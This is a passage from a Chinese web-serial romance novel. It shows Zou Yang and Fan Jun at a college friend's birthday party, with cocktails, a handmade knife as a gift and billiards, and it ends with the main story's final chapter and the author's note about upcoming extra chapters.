“他每次生日这帮人都给他全安排了,他给你出个场地费也应该的,”邹飏打了个呵欠,“要不他心里过不去。” “……后头还有俩生日呢,他都管吗?”刘文瑞问。 “管啊,也没多少钱,大头是酒水,进肚子里的那些才贵,”邹飏拍拍他的肩,“你别操心了,人家现在也是樊老板。” “你也是邹总呢。”张传龙说,“你爸那个公司是不是你有一半?” “公司注销了,邹天瑞不愿意继续经营,我肯定也不愿意,正走流程清算呢,”邹飏轻轻叹了口气,“看能不能剩点儿钱。” 李知越啧了一声:“你爸这一辈子真是……” 宿舍这几个人一逛街,就是市中心商业街这一片儿。 今天照例人山人海,商城外面的一圈广场上全是各种展,还有好几个不同主题的集市,感觉根本走不进商场。 “看看车。”刘文瑞最近一看到车展就迈不开步子,他家里答应他明年毕业了买车,提前一年他就开始选车了。 “你是看车还是看生日礼物?”张传龙很严谨,“生日礼物没有这么高预算。” “神经病!就看看车!”刘文瑞说。 “不要骂人,”何川靠在前台,不急不慢地说,“我是正常跟你们工长沟通,我花了钱的,没做好的地方我肯定是要提出来的嘛,能改改,不能改的扣钱,有什么问题吗?” “这个墙还要怎么平!”工人指着墙面,“还要怎么平!” “顶灯一开就能看出来不平了。”何川说。 “那一点点阴影你跟我找茬,你这个价格的店铺装修,想要别墅的高端装修……”工人很不爽。 “做平了是不是基本的吗?”何川说。 “做不到你要的那么平!”工人一怒之下操起了旁边的一根铁管。 何川迅速抬手护头躲到了吧台后面。 工人的目标不是何老板,樊均提前一步在工人要往墙上砸的时候拦在了他的行动轨迹上,一把抓住了铁管。 工长在这时也赶紧冲了过来,拦住了工人。 “没必要,”樊均说,“何老板过来,主要还是商量,看怎么解决,这事儿不是不能商量的……” “那就商量看看嘛,有没有什么你们能接受的方案。”工长说。 何川就是在等这句,这会儿从前台后头又走了出来:“我也没说让你们对不对……” 樊均看了他一眼,确定屋里这几个人暂时没有动手的危险了,才走到一边,掏出了手机。 刚手机响了两声,他估计是邹飏。 果然。 但邹飏发过来的消息让他忍不住挑了挑眉。 【邹yang】这车怎么样,落地八万多点 【邹yang】买给我妈,贵了她肯定不要,这个大小价格都还行 樊均拿起手机冲何川晃了晃,示意他自己要出去打电话,让何川老实做人。 何川点了点头。 樊均拨了邹飏的号码,那边邹飏接起来的时候他听到一片热闹的嘈杂声响。 “看了吗?”邹飏问。 “不是说给刘文瑞买生日礼物吗?”樊均问,“怎么还看上车了?” “给刘文瑞买了辆自行车,他突然要装骑行达人了,”邹飏说,“这个车是在车展上看到的,有优惠,你觉得行吗?” “珊姐有本儿吗?”樊均问。 “吕叔有啊。”邹飏说。 樊均顿了顿,没说话。 “吕叔会介意吗?”邹飏问。 “他应该不会,他性格就不是那样的,”樊均说,“珊姐会介意吗?” “贵了肯定不干,会让我自己留着开,”邹飏叹了口气,“所以我专门挑了个不那么贵的,主要我看他俩平时有时候出去,就还是开之前那个小面包车,那车跟我差不多年纪了吧?” “那倒没有,”樊均说,“比你还是小几岁的。” 邹飏笑了起来:“快帮我想想,能不能买。” “你不考虑给自己买吗?”樊均问。 “我不,”邹飏说得很干脆,“我等你给我买。” 樊均没说话,看了一眼在店里正跟工长讨价还价的何川,他清了清嗓子:“你心理价位有吗?” “十五万左右的吧。”邹飏说。 樊均松了口气:“那还行。” “什么时候买?”邹飏又问了一句。 “争取你毕业之后一年内吧。”樊均说。 “你会有压力吗?”邹飏突然问,“我刚说话没太过脑子,想到就说了。” “没有,”樊均笑了笑,“这也不是什么过分的要求。” “那我订车了啊?”邹飏说。 “嗯,”樊均应了一声,“了解清楚些。” “放心,李知越快给销售问崩溃了,”邹飏说,“下午我们直接去酒吧,你完事儿直接过来吧。” “好。”樊均说。 “那我挂了。”邹飏说。 “嗯。”樊均应着。 邹飏那边却并没有挂,只是沉默着。 樊均等了两秒才反应过来,低声说了一句:“爱你。” “爱你。”邹飏很满意地回了一句,挂掉了电话。 樊均回到店里,坐在吧台后头听着何川跟工长谈判。 何川并不是没钱,高兴了给客户送点儿东西的钱都比跟工长扣的这点儿多,但他一直都会在涉及任何以交易为前提的事儿上一分一分地跟人抠饬,不厌其烦,不惧挨抽,无所谓挨骂…… 一边跟人抠饬,一边中午请工长和几个工人吃了个小火锅,下午接着抠,最后总算抠出了满意的结果。 樊均看了一眼时间,再不满意,就得搭上第二顿饭,里外一抵,说不好哪边儿占便宜。 “我走了啊,”樊均一边锁店门一边说,“晚上那边你看店。” “我回去睡觉,那边儿直接关门。”何川一摆手,“给我说困了……” “行吧。”樊均跨上电动车。 “有你真安全啊。”何川拍拍他的肩。 “你管管嘴最安全。”樊均有些无语,发动了车子。 刘文瑞的生日指定要在上回樊均生日的那个酒吧过,赶在人家晚上营业之前包场,然后吃喝完还要去打桌球。 樊均感觉这生日流程就像是给他和邹飏准备的。 ……不愧是邹飏最好的朋友。 到酒吧的时候,邹飏他们几个人已经到了。 酒吧时只有陆哥在,看到他进来,跟他打了个招呼:“这儿交给你,有事儿隔壁找我。” “嗯,”樊均点点头,“谢了,陆哥。” “客气什么,”陆哥笑笑,转头冲邹飏他们喊了一声,“几位玩好啊。” “谢谢陆哥!”那边几个人一块儿喊了一嗓子。 樊均走过去的时候突然有些恍惚,站在茶几旁边正看着他的邹飏,让他有种回到了当初那一晚的错觉。 如果邹飏再握住他的手…… 以现在的他,无论如何不能想象,自己能以什么样的心态把手抽出来。 绝无可能。 樊均走到邹飏面前,跟他轻轻碰了一下肩,冲站在沙发前的刘文瑞抬了抬下巴:“生日快乐文瑞。” “谢谢樊哥!”刘文瑞笑着说。 “这个……”樊均从裤兜里拿出一个长条盒子,又看了一眼邹飏,“现在送吗?礼物。” “嗯。”邹飏点点头。 “送你的,不知道你喜不喜欢。”樊均把盒子递了过去。 “我靠,”刘文瑞接过盒子,“这么沉,是什么?” “要不你现在打开。”李知越说,“反正我们的礼物都已经公开了。” 邹飏并不知道樊均要给刘文瑞送什么礼物,这会儿也有些好奇地凑了过去。 刘文瑞三两下就把盒子包装拆掉打开了,从里面拿出了一把……短刀。 刀刃比刀把短,看上去有种拙拙的酷,很漂亮。 几个人顿时发出了一阵惊叹。 “手工的吗?”刘文瑞震惊地看着樊均。 “嗯,”樊均点了点头,“不过……” “你居然给刘文瑞打了把刀?”邹飏声音都没控制住,瞪着他问了一句。 THE END 第109章 这把短刀挺好看的,刀柄和刀刃上都有錾刻出来的花纹,找个茶饼架子往桌上一放,那绝对拉风。 像刘文瑞这种人,没准儿还会拿着这刀拍个怼脸装酷九宫格。 太贴心了。 樊均真是非常贴心! 虽然这刀从制作上来说……应该没有面具那么精细,毕竟面具上的线条和纹样很多,凹凸也多,还要打孔挂链子……这不是重点! 重点就是樊均悄悄地打了一把刀送给刘文瑞! 事先甚至都没跟他商量过! 就给刘文瑞送了一个全宿舍人同时震惊了的生日惊喜! 刘文瑞是他铁子没错!非常铁!铁了十几年! 但铁子也不表示他在看到自己男朋友背着自己送了自己铁子一个秘密手工生日礼物时不会怒火中烧。 “邹飏,”樊均看着他,“我话还没说完……” “说完呗谁拦着你了?”邹飏也看着他。 刘文瑞在旁边拿着刀,也跟着说了一句:“邹飏啊,他这个刀不是……” “拿好你的刀你跟着起什么哄。”邹飏没看他。 樊均笑了笑:“我刚是要说,不过……” “不过不过了呗。”邹飏往沙发上一坐。 坐下的瞬间他反应过来了。 “……不过什么?”他问。 “不过不是我打的,”樊均说,“我跟小龙那儿定的,请她帮打的。” “哦。”邹飏应了一声。 两秒钟之后他仰头靠到沙发上,闭上了眼睛。 算了。 看不见就不尴尬了。 “我发现你这人,平时那么聪明,怎么自从……”刘文瑞把刀放回盒子里,抱着盒子坐到了他旁边,声音很低地说,“谈恋爱以后就……” “怎么了,情之所钟,正在我辈,”邹飏说,“跟你们这种独身主义当然是不一样的。” “行,”刘文瑞顿了顿,又摸了摸挂自己脖子上的一副风镜,这是邹飏单独送给他的,他指明要的,挺贵,“你说的都对。” 邹飏笑了笑。 “吃的什么时候送过来?”樊均问了李知越一句,坐到了邹飏身边,“想喝什么我给你们弄。” “差不多了,刚我打电话问说是二十分钟,”李知越说,“刚陆哥给我们弄了点儿喝的,现在不急。” “我要点单。”邹飏说。 “嗯。”樊均应了一声,看着他,“想喝什么?” “你给我调过的那个。”邹飏说。 樊均没说话,只是起身往吧台走了过去。 邹飏看了一眼刘文瑞他们,几个人正凑一块儿研究那把让他丢人现眼的刀。 啧。 他站起来,跟在樊均身后去了吧台,坐在了吧台前的椅子上。 “spumoni就不喝了吧,”樊均走进吧台,洗了洗手,转身看着他,“换一个别的行吗?” “换什么?”邹飏趴在吧台问。 “特基拉日出。”樊均说。 “英文名字是什么?”邹飏又问。 樊均犹豫了一下:“Tequila Sunrise。” “哟,”邹飏笑了,“你们二十一中英语教学水平还可以啊。” 樊均笑了笑没说话。 “为什么换这个?”邹飏偏过头枕着自己胳膊。 “因为这个是日出。”樊均说。 “……行。”邹飏点了点头。 樊均拿了个细长的香槟杯,放在了吧台上。 然后夹着冰块往里慢慢放着,一直快堆到杯口才停。 “怎么想着要给刘文瑞定把刀啊?”邹飏问。 樊均正拿了量酒器要往里倒酒,听了这话停了停,看着邹飏:“我感觉他和张传龙都应该喜欢这类的东西,酷一点儿的什么武器兵刃……就跟……” “什么?”邹飏问。 樊均往他这边倾了倾身体,低声说:“就跟小孩儿似的,猴儿他们都喜欢这些。” 邹飏看了他两秒,笑了起来:“刘文瑞要知道你把他跟龙龙算一窝的要骂你啊。” “但的确是这样。”樊均把酒倒进了量酒器。 “什么酒?”邹飏又蹭到杯子边趴着看。 “龙舌兰。”樊均把酒倒进杯子里,接着又开了一瓶橙汁,“这个是橙汁儿。” “我认字儿。”邹飏说。 樊均笑笑,拿过吧匙在杯子里轻轻搅了两下。 “不用摇吗?”邹飏问。 “这个不用,会影响分层。”樊均说。 “你做这个是因为偷懒吧,是不是比spumoni简单。”邹飏撇撇嘴。 “就是因为它是日出,”樊均说完往桌子那边看了一眼,低声说,“我有时候觉得你就像日出。” 邹飏看着他没说话,好一会儿才勾勾嘴角笑着啧了一声。 “我再给你打柄剑吧,”樊均拿出一瓶糖浆,“小小的那种,就头像上画的那种,提出西方白帝惊,嗷嗷鬼母秋郊哭……可以跟面具配一套。” “做这个很麻烦吧?”邹飏撑起了胳膊。 “手不好的时候有点儿麻烦,现在还行,”樊均说,“力量还没恢复,但精细活儿能做了,手不抖。” “好,给我打一柄剑。”邹飏马上应了一声。 “嗯。”樊均点了点头,把吧匙贴近杯壁,把糖浆慢慢倒进了杯子。 橙红色的糖浆缓缓沉到杯底,聚集在了一起。 樊均把吧匙拿出来的时候轻轻带了两下,糖浆和橙汁本来清晰的分界线开始交汇,出现了渐变色。 接着他又切了一片橙子,插到了杯口上。 再把吸管放进杯子里,慢慢推到了邹飏面前。 邹飏一直盯着杯子。 灯光映下来,的确非常像日出,一杯热烈的明媚的日出。 在樊均的手刚要离开的时候,邹飏突然伸手一把握住了杯子,和他的手。 樊均的手很轻地抖了一下。 “樊均,”邹飏抬眼看向他,“我那天……是想跟你说……” “嗯。”樊均应了一声。 “我挺喜欢你的,不知道你有没有感觉到,”邹飏说,“你有没有一点儿……喜欢我?” “有的,”樊均看着他,“有不止一点儿。” 邹飏笑了笑,松开手,从他手里拿走了杯子,叼着吸管喝了一口。 酒味不明显,微微有一点儿涩,更多的是橙汁和石榴汁的甜。 “好喝。”邹飏说。 “给他们三个调个什么?”樊均问。 “拿点儿饮料就行了,”邹飏说,“刘文瑞也不知道有多少生日预算,别给他花超了。” “我送的。”樊均说。 “哟,”邹飏托着下巴,“樊哥请全场喝酒。” “神经。”樊均笑了笑。 “那你看着给调吧,”邹飏说,“简单点儿的,三杯不一样就行。” “行。”樊均点头。 邹飏回过头看了一眼那边桌的几个人,刘文瑞跟着就正好一眼扫了过来。 “操,你俩那杯酒可算是调完了!”刘文瑞喊了一嗓子,这话一听就是不知道往这边儿瞅过多少眼了,“我们也要喝!我们也要看!” “来。”樊均说。 几个人立马起身跑到了吧台前,坐了一排。 邹飏在一边拿出了手机,对着吧台,先扫了个全景,再把镜头拉近对着刘文瑞拍了个特写,接着慢慢拉远,樊均入镜的时候他控制住了自己,没把镜头再往樊均脸上怼个特写。 这是刘文瑞的生日,主角是刘文瑞。 邹羊,切记。 不过刘文瑞他们倒是都拿出了手机,对着樊均拍。 樊均并不是专业调酒师,但调酒时挺有范儿的,动作很稳,也很舒展。 今天穿的是件普通的黑T,戴了条很简单的银链子,衬得他很酷。 邹飏这会儿才注意到这条链子上的小挂饰,是一把剑。 “你……”他张嘴想问,但吧台前坐着的三个人和樊均同时转过了头,他又只好闭了嘴,犹豫了一下举着手机说了一句,“第一杯给文瑞。” “嗯。”樊均应了一声。 好容易熬到三杯都做好了,几个人也没走开,坐在吧台你拍我我拍你的过瘾。 邹飏只得继续等,一直到送餐的过来了,这几位才总算离开,拿了吃的往桌子那边去了。 “怎么了?”樊均走了过来。 “这个链子,哪儿来的?”邹飏问。 “何陆店里拿的,”樊均说,“给她当模特拍了张照片,她把这个送我了。” “哦……”邹飏应了一声。 “不露脸的。”樊均又补了一句。 邹飏听笑了:“我没那么大醋劲儿,就是觉得这个挺好看的,还是个剑。” “我再去帮你拿一条。”樊均马上说。 “那个坠儿,有睚眦的吗?”邹飏问。 “……没有,”樊均笑了,“那个很难有吧,有羊头的。” “不要,”邹飏想了想,“那就要跟你一样的吧。” “嗯。”樊均点头。 “吃不吃了!吃不吃了!”刘文瑞在那边吼。 “来了!”邹飏赶紧转身一路小跑着过去了,“蛋糕呢?” “先吃完再蛋糕,”刘文瑞说,“喝了点儿酒饿了。” 这顿饭是从挺远的一家餐厅订了让人家送过来的,挺高级的餐厅,打包盒都非常高级,还配了一整套碗碟餐具,都不是一次性的。 “挺下本儿啊寿星。”张传龙一边帮着装盘一边感叹了一句。 “生日不是重点,重点是大家能一块儿玩爽了,”刘文瑞说,“反正我妈出钱,等毕业了就没这待遇了,到时能不能挣到现在每月这点儿零花钱都不一定……” “这么悲观。”李知越笑了。 “就是,怎么这么悲观,”张传龙举起杯子,“这儿放着两个老板兜底呢,还怕没工作吗?” “龙龙有时候是真会挑重点。”刘文瑞举起杯子。 “生日快乐!”大家一块儿喊了一声。 收回杯子的时候,邹飏往樊均杯子上轻轻磕了一下。 “怎么?”樊均问。 “没怎么,”邹飏笑笑,“就是想碰你一下。” 樊均仰头喝了一口酒,手绕到他背后,在他背上轻轻摸了摸。 菜还挺好吃的,但不知道是菜量不够还是这帮人饿了,没到半小时,桌子上所有的盘子都已经被一扫而空了。 “爽,”张传龙靠着在沙发里摸着肚子,“上蛋糕,我现在需要一点儿甜的。” “我去拿。”樊均站了起来。 “我帮你。”张传龙跟着起身,往冰箱那边走了过去。 “花了多少钱啊你这顿,”邹飏看着刘文瑞,“这么高级。” “高兴,钱不考虑,”刘文瑞摆摆手,“咱们几个还能这么浪费时间地玩几回啊,一上班就都枯萎了。” “你和龙龙生日今年都在实习期了,”李知越想了想,“到时能不能凑一块儿过啊?” “那怎么都得凑一下啊,”刘文瑞说,“邹飏没事儿,樊均怎么着都会跟他一块儿过,我们龙龙不能一个人孤孤单单吧。” “靠,”邹飏斜了他一眼,“我是那种人吗?” “不好说,”李知越说,“我发现你醋劲儿上来了有点儿神智不清,平时也不见得还能有多正常。” “滚蛋。”邹飏说完想想又笑了。 蛋糕是邹飏他们四个一块儿订的,没让刘文瑞参与。 不过也挺简单,李知越挑的一个巧克力蛋糕,纯色的,上面写着一个炸着小花的英文单词。 Respect! 樊均和张传龙用小推车推着蛋糕过来的时候,一帮人一边拍手一边唱了起来。 邹飏在旁边边唱边拿着手机录着视频。 刘文瑞看到蛋糕上的字时,没忍住笑了起来:“我操!” 邹飏的镜头扫过樊均的时候,发现他同样笑得很开心。 唱完歌分完蛋糕,樊均拿着小盘子往邹飏身边一倒,胳膊贴着他,小声说了一句:“我以前还没这样给朋友过过生日。” “好玩吗?”邹飏问。 “嗯,跟自己过生日感觉不一样。”樊均看着他。 “以后还可以试试给男朋友过生日。”邹飏笑笑。 “嗯。”樊均凑近他,视线往那边几个人身上扫了一眼。 灯光有点儿暗,他也没看清到底有没有人看着这边儿,最后不管不顾地往邹飏肩膀上一歪,在他颈侧亲了一口。 生日流程是刘文瑞安排的,的确是有点儿让邹飏和樊均重温一下当初的意思,他说生日就这么过没意思,得有点儿内涵。 所以按照有内涵的生日,他们吃完蛋糕就该去打桌球了。 “樊哥桌球打得怎么样?”张传龙问。 “……一般。”樊均看了邹飏一眼。 “一般?”刘文瑞说,“那一会儿咱俩打一局,你要太厉害了我……” “跟我差不多。”邹飏说。 “就是说说还是你俩打吧我们三个玩。”刘文瑞立马换了词儿。 他们五个人开了两张台。 “谁来跟樊均试试吗?”邹飏站在台边问。 站在旁边那张台边的三个人同时摇了摇头。 但张传龙又很快地说了一句:“我先观察一下。” “行吧。”邹飏说着看向樊均,“我开球吗?” “嗯。”樊均点点头。 邹飏俯身架好手,杆往上落的时候他看了一眼站在对面的樊均:“你不来教我吗?” 这句话他其实说得很小声,樊均应该是听不清的,得靠他口型判断。 但刘文瑞大概是站得有点儿近,这会儿跟着就骂了一句:“哎操。” 邹飏转头看了他一眼。 “来来来我们开球,”刘文瑞推着张传龙,“咱俩一边,李知越一个人一边。” “那我不是少打一杆?”张传龙问。 “那你旁边等着!”刘文瑞瞪他。 “怎么不是你旁边等。”张传龙很坚强。 “你一个人打李知越跟在旁边站着等没有什么区别懂吗?”刘文瑞说。 邹飏正笑着,转眼看向樊均的方向时,却发现他已经没站在那儿了。 刚想转头看看,就感觉身后有温度贴了过来,接着樊均的手就从身后探向了他架在台上的手。 “你……”樊均捏住了他一根手指,声音贴在他耳后,“这个手……真的很好看。” “你当时是这么说的吗?”邹飏偏了偏头。 “不是,”樊均说,“我不要当时。” 邹飏没说话。 “我只想要现在,”樊均捏着他手指,帮他摆好架杆的姿势,“杆儿架上。” “嗯。”邹飏把杆架到了手上。 “打吧。”樊均说。 邹飏一杆推了出去,劲儿很大,排列整齐的球瞬间被打散,布满了台面。 声音也挺大的,但隔壁台三个人仿佛失聪了,没一个人往他们这边看一眼。 倒是对面两个台的人一块儿往这边瞅了瞅。 “厉害啊。”樊均直起身。 “你打。”邹飏走到一边。 樊均拿着杆,随便挑了个花球,轻松一杆落袋。 接着又绕了小半圈儿,准备打下一颗。 邹飏靠在台边,看着樊均。 今天台球厅里人挺多的,进来的时候依旧是好几个人跟樊均打了招呼,这会儿时不时也会有人往这边儿看上一眼。 但邹飏视线里始终只有樊均是清晰的。 看着樊均架手,瞄准,出杆…… 这种感觉很奇妙,就好像他们已经认识很多年,在一起很多年。 一块儿参加跟朋友的聚会,一块儿跟朋友出来玩。 很普通,很日常。 也许曾经经历过的太多,也太刻骨,邹飏对眼下这样宁静如常,没有任何特别的场景,有种格外的沉醉。 樊均在他对面,抬头看了他一眼。 “嗯?”邹飏偏了偏头,也看着他。 爱你。 樊均用口型说了一句,手里的杆一推,白球击中了一颗花球,花球旋转着,像是抡着樊均这句话,向他这边儿一路飞奔而来。 球瞄的是底袋,就在邹飏手边。 他笑了笑,在球落袋的瞬间伸手,接住了这个欢快的花球。 接着转头也用口型对樊均说了一句。 爱你。 作者有话说: 啊[奶茶],正文就完结啦! 鞠躬!感谢一路每天都陪伴着我的小伙伴们!爱你哟! 明天见\^O^/。 接下去就开始更新番外,先把一些时间点相对零散不好放在正文里的剧情写完,比如妈妈婚礼呀,羊咩实习呀毕业班呀…… 然后大家想看的,也会尽量写的[让我康康]。 再说一下时间安排,明天就会开始更番外,但可能就做不到日更了,因为好多攒了几个月的事要处理,26号之前大概要停一天,26号开始大约要停个四五天这样,下月初妈妈要住院复查,赶在这之前带她出去散散心,回来之后会接着更新的!